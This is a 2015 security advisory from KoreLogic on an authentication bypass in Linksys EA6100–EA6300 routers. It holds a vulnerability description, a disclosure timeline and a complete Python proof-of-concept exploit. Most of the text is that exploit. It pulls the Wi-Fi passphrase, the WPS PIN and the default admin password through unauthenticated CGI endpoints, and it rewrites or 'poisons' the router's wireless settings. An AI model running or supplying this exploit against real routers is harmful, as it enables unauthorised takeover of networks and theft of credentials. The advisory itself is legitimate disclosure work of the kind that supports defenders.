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KL-001-2015-006 : Linksys EA6100 Wireless Router Authentication Bypass

Title: Linksys EA6100 Wireless Router Authentication Bypass
Advisory ID: KL-001-2015-006
Publication Date: 2015.12.04
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-006.txt


1. Vulnerability Details

     Affected Vendor: Linksys
     Affected Product: EA6100 - EA6300  Wireless Router
     Affected Version: 1.1.5
     Platform: Embedded Linux
     CWE Classification: CWE-288: Authentication Bypass Using an
     Alternate Path or Channel
     Impact: Remote Administration
     Attack vector: HTTP
     CVE-ID: <Not Yet Assigned>

2. Vulnerability Description

     Multiple CGI scripts in the web-based administrative
     interface of the Linksys EA6100 - EA6300 Wireless Router
     allow unauthenticated access to the high-level administrative
     functions of the device. This vulnerability can be leveraged
     by an unauthenticated attacker to obtain the router's
     administrative password and subsequently arbitrarily configure
     the device.


3. Technical Description

     root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# ls
     bin  dev  etc  home  JNAP  lib  libexec  linuxrc  mnt  opt  proc  root
     sbin  sys  tmp  usr  var  www
     root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# cd www
     root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls
     bootloader_info.cgi  dhcp_log.txt    get_counter_info.cgi
     incoming_log.txt  JNAP         outgoing_log.txt  security_log.txt
     sysinfo.cgi  usbinfo.cgi     cgi-bin              ezwifi_cfg.cgi
     getstinfo.cgi         jcgi              license.pdf  qos_info.cgi
     speedtest_info.cgi  ui
     root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls -la sysinfo.cgi
     lrwxrwxrwx 1 root root 23 Jul 21  2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi
     root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# cat ui/cgi/sysinfo.cgi
     #!/bin/sh

     ########################################################
     # sysinfo.sh ----> /www/sysinfo.cgi
     #
     # When adding new debug information into this script file
     # do the following:
     #    1)  create your debug script <your_debug_script.sh>
     #    2)  call your debug script in this sysinfo.sh script
     #        using the format:
     #         if [ -f <your debug script> ]; then
     #             ./<your debug script.cgi>
     #         fi
     ########################################################
     ...
     ...

     Other CGI files that are accessible from an unauthenticated perspective
     can be used to configure settings for the affected device. This led to
     the development of an exploit to abuse these vulnerabilities.

     level:Debug level$ ./linksys-ea6100-auth-bypass -h
     Usage: ./linksys-ea6100-auth-bypass [params]

     -h Help Menu
     -i Target Address
     -r Reset Attack
     -g Get System Info
     -p Get Wifi Password

     Example: ./linksys-ea6100-auth-bypass -i 10.10.10.1 -r
     Brought to you by Level at KoreLogic
     level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -p
     Getting wireless passphrase

     SSID=840146d6919<redacted>
     Passphrase=e0fc253e585bf33d7b<redacted>
     level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -g|more
     Brought to you by Level at KoreLogic
     Getting system info

     page generated on Tue Jan 20 20:01:48 UTC 2015

     UpTime:
      20:01:48 up 3 days, 16:24, load average: 0.00, 0.04, 0.05

     Firmware Version: 1.1.5.159694
     Firmware Builddate: 2014-03-21 03:09
     Product.type: production
     Linux: Linux version 2.6.36 (root@build-vm) (gcc version 4.2.3) #1 Thu Mar 20 19:40:45 PDT 2014
     Board: focus
     ...
     ...

4. Mitigation and Remediation Recommendation

     No response from vendor; no remediation available.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2015.09.10 - KoreLogic submits vulnerability details to
                  security@linksys.com.
     2015.10.05 - KoreLogic submits vulnerability details to
                  security@linksys.com again.
     2015.11.20 - KoreLogic requests CVE from MITRE.
     2015.12.02 - KoreLogic requests CVE from MITRE.
     2015.12.03 - KoreLogic requests CVE from MITRE.
     2015.12.04 - KoreLogic requests CVE from MITRE.
     2015.12.04 - Public disclosure.

7. Proof of Concept

     #!/usr/bin/env python3
     ########################################################################
     #
     # Copyright 2015 KoreLogic Inc.,  All Rights Reserved.
     #
     # This proof of concept,  having been partly or wholly developed
     # and/or sponsored by KoreLogic,  Inc.,  is hereby released under
     # the terms and conditions set forth in the Creative Commons
     # Attribution Share-Alike 4.0 (United States) License:
     #
     #   https://creativecommons.org/licenses/by-sa/4.0/
     #
     #######################################################################

     from optparse import OptionParser
     from urllib.request import urlopen, Request
     from base64 import b64encode
     from json import loads
     from sys import exit


     def reset_ap(host, passphrase):
         """Resets the wireless security settings of the access point."""
         try:
             payload = '[{"action":"https://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_5GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic"}}}]}}]'
             headers = {'X-JNAP-Action': 'https://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
             request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
             fd = urlopen(request)
             data5 = loads(fd.read())['result']
             fd.close()
         except Exception as e:
             print("[!] Could not reset the 5ghz access point security, reason: {0}.".format(str(e)))
             return -1
         try:
             payload = '[{"action":"https://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_2GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic2", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic2"}}}]}}]'
             headers = {'X-JNAP-Action': 'https://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
             request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
             fd = urlopen(request)
             data2 = loads(fd.read())['result']
             fd.close()
         except Exception as e:
             print("[!] Could not reset the 2.4ghz access point security, reason: {0}".format(str(e)))
             return -1
         return data5, data2


     def is_admin_default(host):
         """Determines whether or not the administrator passphrase is default."""
         try:
             request = Request("https://{:s}/JNAP/".format(str(host)), "{}".encode('ascii'), {'X-JNAP-Action': 'https://linksys.com/jnap/core/IsAdminPasswordDefault'})
             fd = urlopen(request)
             data = loads(fd.read().decode('utf-8'))['output']['isAdminPasswordDefault']
             fd.close()
         except Exception as e:
             print("[!] Could not determine if administrator passphrase is default, reason: {0}".format(str(e)))
             return -1
         return data


     def is_host_alive(host):
         """Does a basic HTTP test to determine access."""
         try:
             fd = urlopen("https://{:s}/".format(str(host)))
             fd.close()
         except Exception as e:
             print("[!] Could not determine if target host was alive, reason: {:s}".format(str(e)))
             return False
         print("[+] Target host is alive, proceeding.")
         return True


     def run_payload(host, payload_url):
         """Run a provided HTTP request."""
         try:
             target = "https://{:s}/{:s}".format(str(host), str(payload_url))
             fd = urlopen(target)
             data = fd.read()
             fd.close()
         except Exception as e:
             print("[!] Unable to execute payload,  reason: {0}".format(str(e)))
             return -1
         return data.decode('utf-8')


     def main():
         """Handle options provided and execute appropriate payloads."""
         payload_url, o, a = None, None, None
         print("Brought to you by Level at KoreLogic\n")
         parser = OptionParser()
         parser.add_option("--host", dest="host", help="Target IP address")
         parser.add_option("--sysinfo", action="store_true", help="Get target system information")
         parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash")
         parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password")
         parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)")
         parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)")
         parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings")
         parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target")
         o, a = parser.parse_args()
         if o.host is None:
             print("[!] You must specify a target host, please see --help")
             exit(1)
         else:
             if is_host_alive(o.host) is not True:
                 print("[!] Could not establish connection to target")
                 exit(1)
             else:
                 if o.sysinfo is not None:
                     print("[+] Obtaining system information -")
                     payload_url = "sysinfo.cgi"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         for line in response.split("\n"):
                             print(line)
                 if o.getpwhash is not None:
                     print("[+] Obtaining wireless password hash -")
                     payload_url = "getstinfo.cgi"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         for line in response.split("\n"):
                             print("\t{0}".format(str(line)))
                 if o.getclearpw is not None:
                     print("[+] Obtaining wireless ssid and password -")
                     payload_url = "sysinfo.cgi"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         for line in response.split("\n"):
                             if "wl0_ssid=" in line:
                                 print("\twl0 SSID: {0}".format(str(line.split("=")[1])))
                             if "wl1_ssid=" in line:
                                 print("\twl1 SSID: {0}".format(str(line.split("=")[1])))
                             if "wl0_passphrase=" in line:
                                 print("\twl0 Passphrase: {0}".format(str(line.split("=")[1])))
                             if "wl1_passphrase=" in line:
                                 print("\twl1 Passphrase: {0}".format(str(line.split("=")[1])))
                 if o.isdefault is not None:
                     print("[+] Checking if administrator passphrase is default -")
                     payload_url = "sysinfo.cgi"
                     response = is_admin_default(o.host)
                     if response is True:
                         print("[+] Passphrase is default, asking for the password -")
                         payload_url = "sysinfo.cgi"
                         response = run_payload(o.host, payload_url)
                         if response is not -1:
                             for line in response.split("\n"):
                                 if "device::default_passphrase=" in line:
                                     print("\tDefault passphrase: {0}".format(str(line.split("=")[1])))
                     else:
                         print("[!] Passphrase is not default")
                 if o.getwpspin is not None:
                     print("[+] Getting WPS pin -")
                     payload_url = "sysinfo.cgi"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         for line in response.split("\n"):
                             if "device::wps_pin=" in line:
                                 print("\tWPS PIN: {0}".format(str(line.split("=")[1])))
                 if o.resetwifi is not None:
                     print("[+] Resetting the access point security -")
                     payload_url = "sysinfo.cgi"
                     response = is_admin_default(o.host)
                     if response is True:
                         print("[+] Admin password is default, asking for the password")
                         response = run_payload(o.host, payload_url)
                         if response is not -1:
                             for line in response.split("\n"):
                                 if "device::default_passphrase=" in line:
                                     passphrase = line.split("=")[1]
                                     print("[+] Got the passphrase: {0}".format(str(passphrase)))
                                     data5, data2 = reset_ap(o.host, passphrase)
                                     if data5 is 'OK' and data2 is 'OK':
                                         print("[+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2")
                     else:
                         print("[!] Admin password is not default.")
                 if o.poisonwifi is not None:
                     print("[+] Poisoning wireless ssid configuration")
                     payload_url = "ezwifi_cfg.cgi?CMD=configure&2ssid=korelogic&2passphrase=korelogic&2mode=11b&5ssid=korelogic2&5passphrase=korelogic2&5mode=11a"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         payload_url = "sysinfo.cgi"
                         response = run_payload(o.host, payload_url)
                         if response is not -1:
                             ap_poisoned = None
                             for line in response.split("\n"):
                                 if "wl0_ssid=" in line or "wl1_ssid=" in line:
                                     if "korelogic" in line:
                                         print("[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI")
                                         ap_poisoned = 1
                             if ap_poisoned is None:
                                 print("[!] Access point ssid settings could not be poisoned, consider running --getclearpw")
                 if payload_url is None:
                     print("[!] No attack has been specified, please see --help")
                     exit(1)
         return exit(0)

     if __name__ == "__main__":
         main()


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